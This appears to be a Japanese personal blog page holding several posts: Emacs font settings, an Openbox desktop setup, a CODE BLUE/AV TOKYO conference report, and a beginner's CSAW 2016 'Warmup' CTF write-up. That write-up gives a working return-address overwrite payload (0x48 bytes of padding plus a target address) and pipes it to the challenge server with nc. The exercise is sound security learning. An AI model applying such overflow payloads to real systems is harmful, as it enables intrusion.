emacsのデフォルトのフォントサイズを変更する
動機
VMで動かしているubuntuのemacsで使用するフォントのサイズがデカくて使いづらかった。
ググってみると、なんだか関数書かないといけないみたいよ〜とかいう話から、C--
やらC-+
を使えとかいう話まであったり、正直調べている身としては「フォント変えるだけなのになんでこんなに情報が散乱してるんだ!!!!!!」って感じ。
実際に自分の環境でデフォルトのフォントサイズを変更できたので、メモとこれからフォントサイズを変更しようという人のためにここに記しておこうと思う。
環境
フォントサイズの変更
デフォルトのフォントから変更せずにフォントサイズだけ変更したいという時。僕の場合は普段UbuntuMonoの9くらいを使ってるのでそれ。
(set-frame-font "Monospace" 9)
とかいう感じでフォントの名前とフォントサイズを指定してやれば良い。
(set-default-font "hoge" 9)
とかいうふうに書くとemacsにobsolateだよって怒られる。(23.1まではこれでいけるらしい)
結局フォント指定しちゃたけどみんなシステムで使ってるフォントくらい知ってるでしょ!って思うけど、知らなかったらごめん。
Ubuntuのデスクトップ環境(Openbox, tint2, urxvt, ranger)
はじめに
最近のマイブームは軽量なデスクトップ環境の構築です。
最近Macのvirtualbox上でUbuntu14.04 LTSを動かしているのですが、どうにもスペックが足りずにUbuntuの動きがカクカクすることがあります。 とてもストレスがたまるので、いっそのこと興味のあったOpenboxを導入してみようと思いたったので、こちらにメモを残したいと思います。
環境
Ubuntu 14.04 LTS ※現在ラボのUbuntu 16.04 LTSへの移行中
Openboxって??
このサイト
によると、
Openbox は軽量で設定が自由なスタック型ウィンドウマネージャです。デスクトップ環境とは独立して動作させることも、KDE や Xfce など他のデスクトップ環境に入っているウィンドウマネージャの代替として使うことも可能です。LXDE デスクトップ環境は Openbox を初めから組み込んでいます。
とのことです。Ubuntuは今やデスクトップ環境はUnityが定番かと思いますが、VM上やスペックの足らないPC上で動かすのには少し動作が固まる時があり、とてもストレスフルです。Openboxは軽量だけでなくカスタマイズ性も高いので、PCを開くだけでテンションが高まり、毎日生きるのがだいぶましになります。
まずはインストール
$ sudo apt install openbox tint2 conky xcompmgr rxvt-unicode-256color ranger
設定ファイル
ここから
macみたいにショートカットによく使うアプリケーション起動と画面サイズ変更できるようにした。
早くunixpornにあるみたいな感じにしたい
ファイラ
rangerを使用。
ターミナルエミュレータ
urxvtを使ってみることにした
進捗
随時更新します。 正直ずいぶん前に導入して、メモも残してないので、やりながら更新って感じだ。。。
こんな感じ
質素すぎるのでタイリングしたりcmdキーでUnityみたいなメニュー出したいなぁ〜
でも、実際使うのって本当に限られているので、(ファイラとブラウザと端末、エディタ、IDAはすでにショートカット割り当て済み)折り合いつけるの難しい。
感想
クソ記事を書く人の気持ちがわかった
EKOPARTY CTF 2016: 感想と反省
はじめに
1日目の日本時間18時くらいに知った. 平日は日中講義なので夕方夜の隙間時間に問題眺めてた. 大学のネットワークから問題サーバーに接続できないことも多く,モチベーションの低下にも繋がった.
とりあえず何か1問くらいはときたいなぁと思ったが,結局1問も解けず撃沈.
取り組んだ問題と考えたこと,そのWrite upをまとめる.
続きを読むCODE BLUEとAV TOKYOに行ってきた
はじめに
CODE BLUEというサイバーセキュリティの国際会議に学生スタッフとして応募したところ,採用されたので10月19日~22日の4日間東京に行ってきた.
学生スタッフは1日スタッフとして働く代わりに,もう1日はカンファレンスの講演をタダで聞くことができた.僕は出場しなかったのだが,コンテストも開催されており,それに出場することもできる.まぁ1日は自由にできるってこと.
参加の経緯
バイト先の先輩にCODE BLUEの学生スタッフに応募しようと誘われたのがきっかけだった.その時はCODE BLUEの存在は知っていたものの,学生スタッフの応募をしているのは知らず,せっかくの機会だしちょうど進路について考えていた時期だった.専門は応用物理で量子力学とか光学とか,数理計画とかシステム制御など情報科目はかじっているがセキュリティに明るい人間が周囲に少なく,その点でも学生スタッフや業界の社会人の方と話してみて業界のことをもっとよく知りたいと思い応募した.
結果は上記の通り,応募が通り参加できることになった.先輩は採用されなかったため,知り合いが一人もいないという状況でとても不安だったが一人東京に向かった.
当日はTwitterで見かけていた学生スタッフの面々と合流し,なんとか不安を和らげた状態で顔合わせをすることができた.
最初の印象
9割方のスタッフが情報系学生だし(あたりまえ),みんな研究室とか入ってるしセキュリティ強そうだし,思ったより幅広くて(ロボットやら物理層の人やらネットワーク,Webの人まで)すごいなぁという印象だった(小並感
正直自分はまだまだ初心者で,知識的にもまだまだ知らないことが多すぎるので話を聞いているだけで知れることが多かった.
あと,初めてLANケーブル作った.(僕は手伝っただけだけど)
夜はセイクで優勝した.
1日目
フリーな日.最初の基調講演はe-Estoniaの話.
正直な話,ここまで情報化が進んでいるものかと近未来的に感じた.しかし,他国と比べて小国だからこそのスピード感や小回りが効く感じがあるなと感じた.これが日本だったら可能かと言われれば,少なくとも現在では無理だろうと感じた.
CGCのチャンピオンの話は内容も理解しやすく,とても面白く聞けた.セキュリティも着実に自動化の波が来ていることを強く感じたし,セキュリティ業界に進むとしたらそれが課題になってくるだろうと感じた.人間との住み分けはどうしていくべきか.どう人間がしている作業を自動化するか.
午後は割とレイヤー低めな講演が多かった.
最近カーネルの勉強をし始めたので講演を聞いたが,基礎知識程度なら学習したばかりだったのでなんとなくはわからないことが多すぎたのでもっと勉強しなければと感じた. 古典的なことを勉強している段階なので実用されている技術には疎く,TrustZoneの話とかは「へぇそうなのかぁ」という感じになってしまっていた. 誰かカーネル強い人どうやって学習したらいいか教えてください....
MINIX本読んでるけどまだ1章の概論までしか読めてないのでとりあえずそれ読んでみようと思う.
午後の後半のbinary rockstarとかhouse of einherjarとかも楽しく見させていただいた. 特に松隈さんの講演はスライドも綺麗で丁寧に説明してくれている印象だったので,スライド見ながら実際に試してみたいと思う.
夜はセイクで優勝した.
2日目
自分は誘導と午後のドアキーパーをした. ドアキーパーは講演を聞くことができたが,途切れ途切れな上に同時通訳使ってなかったのであまり頭に入ってなかった.
午前のサイバースパイキャンペーンに関する話題は,結局目的についてはわからなかった感じがした.特段日本と台湾を狙う必要性が自分にはわからなかった.
ルーターのバックドアの話は途切れ途切れに聞いていたが面白かった.
閉会
ネットワーキングパーティーでは業界のすごい人や,Twitter,本の裏側でしか名前を見たことがなかった人たちと名刺を交換させていただいた. 自分の知らない業界の話とかも聞けたし,技術の話とかもできてとてもよかった.話を聞いていてやっぱりエンジニアっていいなと思ったし,自分の分野を生かしてこの業界に貢献することもできることを実感できた.
正直,進路についてはさらに迷った気がする.
夜はもちろんセイクで優勝した.
2次会ではあのテイラーに直接講演のの質問もさせていただいて,幸せすぎた.
海外のエンジニア,リサーチャーの方とも話せたが,自分の英語が拙すぎて辛かった.聞いてなんとなく理解はできるが,話すとなると途端に使い物にならないことを痛感した.英語も話せるようになっておきたいと思う.
なお,3次会のカラオケでは,外人同士の最初の挨拶みたいなので"Are you a hacker??"みたいなのがあってびっくりした.そんな挨拶の仕方があるのか.なんでも,こういうパーティーにはエンジニア以外も参加するため,同じ話題を探すようなものだそうだ. 僕もそんな台詞言ってみたい.
AV TOKYO
翌日はAV TOKYOという,お酒を飲みながらLTみたいな感じの話を聞いたり,CTFやったり,ネットワーキングしたりという会に参加させてもらった.
またもやTwitterで見かけた人たちがたくさんいて話を聞いたりしていたが,みんな強いって感じだった.名刺など交換させていただいで本当にありがたい.
CTFは途中で詰み,電源がないためPCのバッテリーも詰みだった.パクチーグリーンスムージーは読めてたんだけど......
後半はおとなしく講演聞きながらお酒飲んでた.
まとめ
今回の東京行きは今後の進路選択にとってはとても有意義だったように思う.自分の未熟さを常に痛感したし,近い年のプロたちとも知り合えて良かったと思う.当面は引きこもって知識をつけたりバイナリ読んだりしていきたいと思う.
思えば無限に酒飲んでた記憶しかないけど,いい刺激になった4日間だった. 帰りのバスで本読んだりCTF解いたりしてたら途中で気持ち悪くなって帰るまでに死にかけた.
次に会うときには圧倒的成長して再会したい.
関わったみなさん本当にありがとうございました!!!
CSAW2016: Warmup
はじめに
最近CTFはじめました。 こちらにwriteupをまとめていきたいと思う。 更新頻度上げます。
超初心者なので,復習も兼ねてかなり丁寧に書いていきたい.途中でめんどくさくなるかもしれない
ということでCSAW 2016のpwn50をとりあえず取り組んでみた.最初に自分で考えてみて最近本ばっか読んでてバイナリ読めなくなってる他の方の記事を参考にしながら解いていくことにする.
ちなみに,この記事が初心者にもとっつきやすく,詳しく説明してくれていたので参考にさせていただいた.
CSAW 2016: Warmup | Cybersecurity Club @ FSU
50ポイント.baby以下の問題っぽい
$ nc pwn.chal.csaw.io 8000 -Warm Up- WOW:0x40060d >Hello!!!
問題のサーバーに接続すると表示されるWOW:0x40060d
が気になる.何かのアドレスかな....?
試しにパイプでpython -c "print 'a'*100"
とか送ってみたが,表示される謎のアドレスっぽいものは変化しなかった.正直,この時点で詰んでた.
$ file warmup warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=ab209f3b8a3c2902e1a2ecd5bb06e258b45605a4, not stripped $ checksec --file warmup RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 4 warmup
配布されているバイナリを見てみると,x86_64 ELFバイナリであることがわかる.
当日は無償版のIDA Demoが64bitバイナリを読めないため,途方に暮れていた.
Radare2というリバースエンジニアリング,バイナリ解析のフレームワークを用いて解析してみる.
よく見ると,最初に表示されるWOW:0x40060d
と同じアドレスにsym.easyがあるのがわかる.
どうやらsym.easyとsym.mainに注目すればよさそうだということがわかってきた.
どんな関数なのか見てみると,
これは前述のWriteupを読んで知ったのだが.EDIレジスタは文字列操作などの際に書き込み先のアドレスを示すポインタとして働く.具体的な用途初めて知った.EDIに代入してるcat_flag.txt
ってのも名前からして大分怪しい.
EDIなどレジスタについては以下のリンクを参考にした.
The Art of Picking Intel Registers
以上より,何か入力を与えてBOFさせ,処理を0x40060d
にリダイレクトさせろってことなんだろう.
それを踏まえてこれからmainを見ていくことにする.
objdumpで見たときとはえらい違いである.読みやすい.r2しゅごい.
最初にrbpがpushされ,rbpにrspが代入されている.
そのあとrspが0x80分だけ引かれ,スタックが積まれていく.ってな感じでプログラムが進んでいる.
0x0040069e
でgetsが呼ばれているが,これはユーザーの入力を受け取る関数である.ここをBOFさせてリターンアアドレスを書き換えてやる.
今積まれているスタックはrbpから0x40バイトで,rbpは64bitなので0x8バイト.つまり0x48バイトの入力値のあとにリターンアドレスを書き換えてあげれば良い.
こんな感じ.
$ python -c "print 'a'*0x48 + '\x0d\x06\x40\x00\x00\x00\x00\x00'" | ./warmup -Warm Up- WOW:0x40060d >cat: flag.txt: No such file or directory Segmentation fault (core dumped)
なのでこれを送ってあげれば良い.
$ python -c "print 'a'*0x48 + '\x0d\x06\x40\x00\x00\x00\x00\x00'" | nc pwn.chal.csaw.io 8000 -Warm Up- WOW:0x40060d >FLAG{LET_US_BEGIN_CSAW_2016}
最後に
あまりツール群詳しくないので初めてr2を使ったのだが,見やすい.
ドキュメントもあったみたいなので,チュートリアル見ながらうまく使えるようになっていきたい.